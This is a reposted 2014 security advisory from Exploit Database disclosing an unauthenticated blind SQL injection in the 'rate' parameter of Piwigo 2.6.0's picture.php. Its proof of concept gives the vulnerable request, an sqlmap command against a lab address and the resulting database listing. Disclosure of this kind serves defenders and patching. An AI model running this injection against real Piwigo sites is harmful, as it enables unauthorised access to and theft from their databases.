Piwigo 2.6.0 – ‘picture.php?rate’ SQL Injection

• Exploit Database
• 12 阅读

• 作者： Manuel García Cárdenas
  日期： 2014-11-13
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/35221/

• =============================================
  MGC ALERT 2014-001
  - Original release date: January 12, 2014
  - Last revised:November 12, 2014
  - Discovered by: Manuel García Cárdenas
  - Severity: 7,1/10 (CVSS Base Score)
  =============================================
  
  I. VULNERABILITY
  -------------------------
  Blind SQL Injection in Piwigo <= v2.6.0
  
  II. BACKGROUND
  -------------------------
  Piwigo is a web application management photo albums, available under the
  License GPL. Is written in PHP and requires a MySQL, PostgreSQL or SQLite
  data.
  
  III. DESCRIPTION
  -------------------------
  This bug was found using the portal without authentication. To exploit the
  vulnerability only is needed use the version 1.0 of the HTTP protocol to
  interact with the application. It is possible to inject SQL code in the
  variable "rate" on the page "picture.php".
  
  IV. PROOF OF CONCEPT
  -------------------------
  The following URL's and parameters have been confirmed to all suffer from
  Blind SQL injection.
  
  /piwigo/picture.php?/1/category/1&action=rate (POST parameter: rate=1)
  
  Exploiting with SQLMap:
  
  python sqlmap.py -u "
  http://192.168.244.129/piwigo/picture.php?/1/category/1&action=rate" --data
  "rate=1" --dbs
  
  [16:32:25] [INFO] the back-end DBMS is MySQL
  web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
  web application technology: PHP 5.3.2, Apache 2.2.14
  back-end DBMS: MySQL 5
  [16:32:25] [INFO] fetching database names
  [16:32:25] [INFO] fetching number of databases
  [16:32:25] [INFO] resumed: 4
  [16:32:25] [INFO] resumed: information_schema
  [16:32:25] [INFO] resumed: mysql
  [16:32:25] [INFO] resumed: phpmyadmin
  [16:32:25] [INFO] resumed: piwigo
  available databases [4]:
  [*] information_schema
  [*] mysql
  [*] phpmyadmin
  [*] piwigo
  
  V. BUSINESS IMPACT
  -------------------------
  Public defacement, confidential data leakage, and database server
  compromise can result from these attacks. Client systems can also be
  targeted, and complete compromise of these client systems is also possible.
  
  VI. SYSTEMS AFFECTED
  -------------------------
  Piwigo <= v2.6.0
  
  VII. SOLUTION
  -------------------------
  All data received by the application and can be modified by the user,
  before making any kind of transaction with them must be validated.
  
  VIII. REFERENCES
  -------------------------
  http://www.piwigo.org
  
  IX. CREDITS
  -------------------------
  This vulnerability has been discovered and reported
  by Manuel García Cárdenas (advidsec (at) gmail (dot) com).
  
  X. REVISION HISTORY
  -------------------------
  January 21, 2014 1: Initial release
  
  
  XI. DISCLOSURE TIMELINE
  -------------------------
  January 21, 2014 1: Vulnerability acquired by Manuel Garcia Cardenas
  November 12, 2014 2: Send to the Full-Disclosure lists
  
  XII. LEGAL NOTICES
  -------------------------
  The information contained within this advisory is supplied "as-is" with no
  warranties or guarantees of fitness of use or otherwise.
  
  XIII. ABOUT
  -------------------------
  Manuel Garcia Cardenas
  Pentester